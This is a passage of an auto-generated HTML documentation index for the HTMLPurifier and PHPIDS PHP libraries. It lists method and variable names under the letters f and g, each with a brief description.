<dt class="field"> - <span class="include-title">Filter.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Filter.php.html">Filter.php</a> in Filter.php</div> - </dd> - <dt class="field"> - <span class="include-title">Forms.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Forms.php.html">Forms.php</a> in Forms.php</div> - </dd> - <dt class="field"> - <span class="include-title">FixNesting.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Strategy---FixNesting.php.html">FixNesting.php</a> in FixNesting.php</div> - </dd> - <dt class="field"> - <span class="include-title">Font.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---TagTransform---Font.php.html">Font.php</a> in Font.php</div> - </dd> - <dt class="field"> - <span class="include-title">ftp.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIScheme---ftp.php.html">ftp.php</a> in ftp.php</div> - </dd> - <dt class="field"> - <span class="include-title">Flexible.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---VarParser---Flexible.php.html">Flexible.php</a> in Flexible.php</div> - </dd> - </dl> - <a name="g"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">g</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$generator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#var$generator">HTMLPurifier_ErrorCollector::$generator</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="var-title">$generator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#var$generator">HTMLPurifier_Printer::$generator</a> in Printer.php</div> - <div class="index-item-description">Instance of HTMLPurifier_Generator for HTML generation convenience funcs</div> - </dd> - <dt class="field"> - <span class="var-title">$generator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#var$generator">HTMLPurifier::$generator</a> in HTMLPurifier.php</div> - </dd> - <dt class="field"> - <span class="method-title">generateAttributes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Generator.html#methodgenerateAttributes">HTMLPurifier_Generator::generateAttributes()</a> in Generator.php</div> - <div class="index-item-description">Generates attribute declarations from attribute array.</div> - </dd> - <dt class="field"> - <span class="method-title">generateBaseDirectoryPath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodgenerateBaseDirectoryPath">HTMLPurifier_DefinitionCache_Serializer::generateBaseDirectoryPath()</a> in Serializer.php</div> - <div class="index-item-description">Generates path to base directory that contains all definition type</div> - </dd> - <dt class="field"> - <span class="method-title">generateChildDef</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html#methodgenerateChildDef">HTMLPurifier_ContentSets::generateChildDef()</a> in ContentSets.php</div> - <div class="index-item-description">Accepts a definition; generates and assigns a ChildDef for it</div> - </dd> - <dt class="field"> - <span class="method-title">generateChildDefCallback</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html#methodgenerateChildDefCallback">HTMLPurifier_ContentSets::generateChildDefCallback()</a> in ContentSets.php</div> - </dd> - <dt class="field"> - <span class="method-title">generateDirectoryPath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodgenerateDirectoryPath">HTMLPurifier_DefinitionCache_Serializer::generateDirectoryPath()</a> in Serializer.php</div> - <div class="index-item-description">Generates the path to the directory contain this cache's serial files</div> - </dd> - <dt class="field"> - <span class="method-title">generateFilePath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodgenerateFilePath">HTMLPurifier_DefinitionCache_Serializer::generateFilePath()</a> in Serializer.php</div> - <div class="index-item-description">Generates the file path to the serial file corresponding to</div> - </dd> - <dt class="field"> - <span class="method-title">generateFromToken</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Generator.html#methodgenerateFromToken">HTMLPurifier_Generator::generateFromToken()</a> in Generator.php</div> - <div class="index-item-description">Generates HTML from a single token.</div> - </dd> - <dt class="field"> - <span class="method-title">generateFromTokens</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Generator.html#methodgenerateFromTokens">HTMLPurifier_Generator::generateFromTokens()</a> in Generator.php</div> - <div class="index-item-description">Generates HTML from an array of tokens.</div> - </dd> - <dt class="field"> - <span class="method-title">generateKey</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodgenerateKey">HTMLPurifier_DefinitionCache::generateKey()</a> in DefinitionCache.php</div> - <div class="index-item-description">Generates a unique identifier for a particular configuration</div> - </dd> - <dt class="field"> - <span class="method-title">generateScriptFromToken</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Generator.html#methodgenerateScriptFromToken">HTMLPurifier_Generator::generateScriptFromToken()</a> in Generator.php</div> - <div class="index-item-description">Special case processor for the contents of script tags</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodget">HTMLPurifier_DefinitionCache_Serializer::get()</a> in Serializer.php</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DoctypeRegistry.html#methodget">HTMLPurifier_DoctypeRegistry::get()</a> in DoctypeRegistry.php</div> - <div class="index-item-description">Retrieves reference to a doctype of a certain name</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodget">HTMLPurifier_DefinitionCache::get()</a> in DefinitionCache.php</div> - <div class="index-item-description">Retrieves a definition object from the cache</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Memory.html#methodget">HTMLPurifier_DefinitionCache_Decorator_Memory::get()</a> in Memory.php</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTypes.html#methodget">HTMLPurifier_AttrTypes::get()</a> in AttrTypes.php</div> - <div class="index-item-description">Retrieves a type</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Null.html#methodget">HTMLPurifier_DefinitionCache_Null::get()</a> in Null.php</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodget">HTMLPurifier_Config::get()</a> in Config.php</div> - <div class="index-item-description">Retreives a value from the configuration.</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#methodget">HTMLPurifier_DefinitionCache_Decorator::get()</a> in Decorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Cleanup.html#methodget">HTMLPurifier_DefinitionCache_Decorator_Cleanup::get()</a> in Cleanup.php</div> - </dd> - <dt class="field"> - <span class="method-title">get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Context.html#methodget">HTMLPurifier_Context::get()</a> in Context.php</div> - <div class="index-item-description">Retrieves a variable reference from the context.</div> - </dd> - <dt class="field"> - <span class="method-title">getAccessed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHash.html#methodgetAccessed">HTMLPurifier_StringHash::getAccessed()</a> in StringHash.php</div> - <div class="index-item-description">Returns a lookup array of all array indexes that have been accessed.</div> - </dd> - <dt class="field"> - <span class="method-title">getAll</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodgetAll">HTMLPurifier_Config::getAll()</a> in Config.php</div> - <div class="index-item-description">Retrieves all directives, organized by namespace</div> - </dd> - <dt class="field"> - <span class="method-title">getAllowedDirectivesForForm</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodgetAllowedDirectivesForForm">HTMLPurifier_Config::getAllowedDirectivesForForm()</a> in Config.php</div> - <div class="index-item-description">Returns a list of array(namespace, directive) for all directives that are allowed in a web-form context as per an allowed namespaces/directives list.</div> - </dd> - <dt class="field"> - <span class="method-title">getAnonymousModule</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#methodgetAnonymousModule">HTMLPurifier_HTMLDefinition::getAnonymousModule()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Retrieves a reference to the anonymous module, so you can bust out advanced features without having to make your own module.</div> - </dd> - <dt class="field"> - <span class="method-title">getBasePath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodgetBasePath">IDS_Init::getBasePath()</a> in Init.php</div> - <div class="index-item-description">This method checks if a base path is given and usage is set to true.</div> - </dd> - <dt class="field"> - <span class="method-title">getBatch</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodgetBatch">HTMLPurifier_Config::getBatch()</a> in Config.php</div> - <div class="index-item-description">Retreives an array of directives to values from a given namespace</div> - </dd> - <dt class="field"> - <span class="method-title">getBatchSerial</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodgetBatchSerial">HTMLPurifier_Config::getBatchSerial()</a> in Config.php</div> - <div class="index-item-description">Returns a md5 signature of a segment of the configuration object</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html#methodgetCache">IDS_Caching_Database::getCache()</a> in Database.php</div> - <div class="index-item-description">Returns the cached data</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html#methodgetCache">IDS_Caching_Session::getCache()</a> in Session.php</div> - <div class="index-item-description">Returns the cached data</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html#methodgetCache">IDS_Caching_File::getCache()</a> in File.php</div> - <div class="index-item-description">Returns the cached data</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html#methodgetCache">IDS_Caching_Memcached::getCache()</a> in Memcached.php</div> - <div class="index-item-description">Returns the cached data</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Interface.html#methodgetCache">IDS_Caching_Interface::getCache()</a> in Interface.php</div> - <div class="index-item-description">Interface method</div> - </dd> - <dt class="field"> - <span class="method-title">getCentrifuge</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetCentrifuge">IDS_Report::getCentrifuge()</a> in Report.php</div> - <div class="index-item-description">This method returns the centrifuge property or null if not filled with data</div> - </dd> - <dt class="field"> - <span class="method-title">getChild</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html#methodgetChild">HTMLPurifier_ErrorStruct::getChild()</a> in ErrorStruct.php</div> - </dd> - <dt class="field"> - <span class="method-title">getChildDef</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#methodgetChildDef">HTMLPurifier_HTMLModule::getChildDef()</a> in HTMLModule.php</div> - <div class="index-item-description">Retrieves a proper HTMLPurifier_ChildDef subclass based on content_model and content_model_type member variables of the HTMLPurifier_ElementDef class. There is a similar function in HTMLPurifier_HTMLDefinition.</div> - </dd> - <dt class="field"> - <span class="method-title">getChildDef</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html#methodgetChildDef">HTMLPurifier_ContentSets::getChildDef()</a> in ContentSets.php</div> - <div class="index-item-description">Instantiates a ChildDef based on content_model and content_model_type</div> - </dd> - <dt class="field"> - <span class="method-title">getChildDef</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Edit.html#methodgetChildDef">HTMLPurifier_HTMLModule_Edit::getChildDef()</a> in Edit.php</div> - </dd> - <dt class="field"> - <span class="method-title">getChildDef</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Strict.html#methodgetChildDef">HTMLPurifier_HTMLModule_Tidy_Strict::getChildDef()</a> in Strict.php</div> - </dd> - <dt class="field"> - <span class="method-title">getClass</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodgetClass">HTMLPurifier_Printer::getClass()</a> in Printer.php</div> - <div class="index-item-description">Retrieves the class of an object without prefixes, as well as metadata</div> - </dd> - <dt class="field"> - <span class="method-title">getConfig</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodgetConfig">IDS_Init::getConfig()</a> in Init.php</div> - <div class="index-item-description">Returns the config array</div> - </dd> - <dt class="field"> - <span class="method-title">getConfigPath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodgetConfigPath">IDS_Init::getConfigPath()</a> in Init.php</div> - <div class="index-item-description">Returns path to configuration file</div> - </dd> - <dt class="field"> - <span class="method-title">getCSS</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#methodgetCSS">HTMLPurifier_Printer_ConfigForm::getCSS()</a> in ConfigForm.php</div> - <div class="index-item-description">Retrieves styling, in case it is not accessible by webserver</div> - </dd> - <dt class="field"> - <span class="method-title">getCSSDefinition</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodgetCSSDefinition">HTMLPurifier_Config::getCSSDefinition()</a> in Config.php</div> - <div class="index-item-description">Retrieves object reference to the CSS definition</div> - </dd> - <dt class="field"> - <span class="method-title">getDefinition</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodgetDefinition">HTMLPurifier_Config::getDefinition()</a> in Config.php</div> - <div class="index-item-description">Retrieves a definition</div> - </dd> - <dt class="field"> - <span class="method-title">getDescription</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetDescription">IDS_Filter::getDescription()</a> in Filter.php</div> - <div class="index-item-description">Returns filter description</div> - </dd> - <dt class="field"> - <span class="method-title">getDoctypeFromConfig</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DoctypeRegistry.html#methodgetDoctypeFromConfig">HTMLPurifier_DoctypeRegistry::getDoctypeFromConfig()</a> in DoctypeRegistry.php</div> - <div class="index-item-description">Retrieves the doctype from the configuration object</div> - </dd> - <dt class="field"> - <span class="method-title">getElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#methodgetElement">HTMLPurifier_HTMLModuleManager::getElement()</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Retrieves a single merged element definition</div> - </dd> - <dt class="field"> - <span class="method-title">getElements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#methodgetElements">HTMLPurifier_HTMLModuleManager::getElements()</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Retrieves merged element definitions.</div> - </dd> - <dt class="field"> - <span class="method-title">getErrorName</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#methodgetErrorName">HTMLPurifier_Language::getErrorName()</a> in Language.php</div> - <div class="index-item-description">Retrieves a localised error name.</div> - </dd> - <dt class="field"> - <span class="method-title">getEvent</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetEvent">IDS_Report::getEvent()</a> in Report.php</div> - <div class="index-item-description">Get event by name</div> - </dd> - <dt class="field"> - <span class="method-title">getExceptions</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetExceptions">IDS_Monitor::getExceptions()</a> in Monitor.php</div> - <div class="index-item-description">Returns exception array</div> - </dd> - <dt class="field"> - <span class="method-title">getFallbackFor</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#methodgetFallbackFor">HTMLPurifier_LanguageFactory::getFallbackFor()</a> in LanguageFactory.php</div> - <div class="index-item-description">Returns the fallback language for language</div> - </dd> - <dt class="field"> - <span class="method-title">getFilterFromJson</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodgetFilterFromJson">IDS_Filter_Storage::getFilterFromJson()</a> in Storage.php</div> - <div class="index-item-description">Loads filters from Json file using ext/Json</div> - </dd> - <dt class="field"> - <span class="method-title">getFilterFromXML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodgetFilterFromXML">IDS_Filter_Storage::getFilterFromXML()</a> in Storage.php</div> - <div class="index-item-description">Loads filters from XML using SimpleXML</div> - </dd> - <dt class="field"> - <span class="method-title">getFilters</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetFilters">IDS_Event::getFilters()</a> in Event.php</div> - <div class="index-item-description">Returns list of filter objects</div> - </dd> - <dt class="field"> - <span class="method-title">getFilterSet</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodgetFilterSet">IDS_Filter_Storage::getFilterSet()</a> in Storage.php</div> - <div class="index-item-description">Returns registered filters</div> - </dd> - <dt class="field"> - <span class="method-title">getFixesForLevel</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html#methodgetFixesForLevel">HTMLPurifier_HTMLModule_Tidy::getFixesForLevel()</a> in Tidy.php</div> - <div class="index-item-description">Retrieves all fixes per a level, returning fixes for that specific level as well as all levels below it.</div> - </dd> - <dt class="field"> - <span class="method-title">getFixType</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html#methodgetFixType">HTMLPurifier_HTMLModule_Tidy::getFixType()</a> in Tidy.php</div> - <div class="index-item-description">Parses a fix name and determines what kind of fix it is, as well</div> - </dd> - <dt class="field"> - <span class="method-title">getFormattedContext</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methodgetFormattedContext">HTMLPurifier_ConfigSchema_Validator::getFormattedContext()</a> in Validator.php</div> - <div class="index-item-description">Returns a formatted context string.</div> - </dd> - <dt class="field"> - <span class="method-title">getHtml</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetHtml">IDS_Monitor::getHtml()</a> in Monitor.php</div> - <div class="index-item-description">Returns html array</div> - </dd> - <dt class="field"> - <span class="method-title">getHTMLDefinition</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodgetHTMLDefinition">HTMLPurifier_Config::getHTMLDefinition()</a> in Config.php</div> - <div class="index-item-description">Retrieves object reference to the HTML definition.</div> - </dd> - <dt class="field"> - <span class="method-title">getHTMLFormatted</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#methodgetHTMLFormatted">HTMLPurifier_ErrorCollector::getHTMLFormatted()</a> in ErrorCollector.php</div> - <div class="index-item-description">Default HTML formatting implementation for error messages</div> - </dd> - <dt class="field"> - <span class="method-title">getId</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetId">IDS_Filter::getId()</a> in Filter.php</div> - <div class="index-item-description">Get filter ID</div> - </dd> - <dt class="field"> - <span class="method-title">getImpact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetImpact">IDS_Report::getImpact()</a> in Report.php</div> - <div class="index-item-description">Returns total impact</div> - </dd> - <dt class="field"> - <span class="method-title">getImpact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetImpact">IDS_Filter::getImpact()</a> in Filter.php</div> - <div class="index-item-description">Get filter impact level</div> - </dd> - <dt class="field"> - <span class="method-title">getImpact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetImpact">IDS_Event::getImpact()</a> in Event.php</div> - <div class="index-item-description">Returns calculated impact</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html#methodgetInstance">IDS_Caching_Session::getInstance()</a> in Session.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#methodgetInstance">HTMLPurifier::getInstance()</a> in HTMLPurifier.php</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html#methodgetInstance">IDS_Caching_File::getInstance()</a> in File.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html#methodgetInstance">IDS_Caching_Memcached::getInstance()</a> in Memcached.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodgetInstance">IDS_Log_Email::getInstance()</a> in Email.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html#methodgetInstance">IDS_Log_File::getInstance()</a> in File.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html#methodgetInstance">IDS_Caching_Database::getInstance()</a> in Database.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Database.html#methodgetInstance">IDS_Log_Database::getInstance()</a> in Database.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getIterator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetIterator">IDS_Event::getIterator()</a> in Event.php</div> - <div class="index-item-description">IteratorAggregate iterator getter</div> - </dd> - <dt class="field"> - <span class="method-title">getIterator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetIterator">IDS_Report::getIterator()</a> in Report.php</div> - <div class="index-item-description">Return iterator object</div> - </dd> - <dt class="field"> - <span class="method-title">getJavaScript</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#methodgetJavaScript">HTMLPurifier_Printer_ConfigForm::getJavaScript()</a> in ConfigForm.php</div> - <div class="index-item-description">Retrieves JavaScript, in case it is not accessible by webserver</div> - </dd> - <dt class="field"> - <span class="method-title">getJson</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetJson">IDS_Monitor::getJson()</a> in Monitor.php</div> - <div class="index-item-description">Returns json array</div> - </dd> - <dt class="field"> - <span class="method-title">getMessage</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#methodgetMessage">HTMLPurifier_Language::getMessage()</a> in Language.php</div> - <div class="index-item-description">Retrieves a localised message.</div> - </dd> - <dt class="field"> - <span class="method-title">getN</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#methodgetN">HTMLPurifier_Length::getN()</a> in Length.php</div> - <div class="index-item-description">Retrieves string numeric magnitude.</div> - </dd> - <dt class="field"> - <span class="method-title">getName</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetName">IDS_Event::getName()</a> in Event.php</div> - <div class="index-item-description">Returns event name</div> - </dd> - <dt class="field"> - <span class="method-title">getNonAutoCloseElements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef.html#methodgetNonAutoCloseElements">HTMLPurifier_ChildDef::getNonAutoCloseElements()</a> in ChildDef.php</div> - <div class="index-item-description">Get lookup of tag names that should not close this element automatically.</div> - </dd> - <dt class="field"> - <span class="method-title">getNonAutoCloseElements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_StrictBlockquote.html#methodgetNonAutoCloseElements">HTMLPurifier_ChildDef_StrictBlockquote::getNonAutoCloseElements()</a> in StrictBlockquote.php</div> - </dd> - <dt class="field"> - <span class="method-title">getPath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Bootstrap.html#methodgetPath">HTMLPurifier_Bootstrap::getPath()</a> in Bootstrap.php</div> - <div class="index-item-description">Returns the path for a specific class.</div> - </dd> - <dt class="field"> - <span class="method-title">getRaw</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#methodgetRaw">HTMLPurifier_ErrorCollector::getRaw()</a> in ErrorCollector.php</div> - <div class="index-item-description">Retrieves raw error data for custom formatter to use</div> - </dd> - <dt class="field"> - <span class="method-title">getReport</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetReport">IDS_Monitor::getReport()</a> in Monitor.php</div> - <div class="index-item-description">Returns report object providing various functions to work with detected results. Also the centrifuge data is being set as property of the report object.</div> - </dd> - <dt class="field"> - <span class="method-title">getRewind</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodgetRewind">HTMLPurifier_Injector::getRewind()</a> in Injector.php</div> - <div class="index-item-description">Retrieves rewind, and then unsets it.</div> - </dd> - <dt class="field"> - <span class="method-title">getRule</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetRule">IDS_Filter::getRule()</a> in Filter.php</div> - <div class="index-item-description">Returns filter rule</div> - </dd> - <dt class="field"> - <span class="method-title">getScheme</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URISchemeRegistry.html#methodgetScheme">HTMLPurifier_URISchemeRegistry::getScheme()</a> in URISchemeRegistry.php</div> - <div class="index-item-description">Retrieves a scheme validator object</div> - </dd> - <dt class="field"> - <span class="method-title">getSchemeObj</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#methodgetSchemeObj">HTMLPurifier_URI::getSchemeObj()</a> in URI.php</div> - <div class="index-item-description">Retrieves a scheme object corresponding to the URI's scheme/default</div> - </dd> - <dt class="field"> - <span class="method-title">getSerial</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodgetSerial">HTMLPurifier_Config::getSerial()</a> in Config.php</div> - <div class="index-item-description">Returns a md5 signature for the entire configuration object</div> - </dd> - <dt class="field"> - <span class="method-title">getSigFigs</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html#methodgetSigFigs">HTMLPurifier_UnitConverter::getSigFigs()</a> in UnitConverter.php</div> - <div class="index-item-description">Returns the number of significant figures in a string number.</div> - </dd> - <dt class="field"> - <span 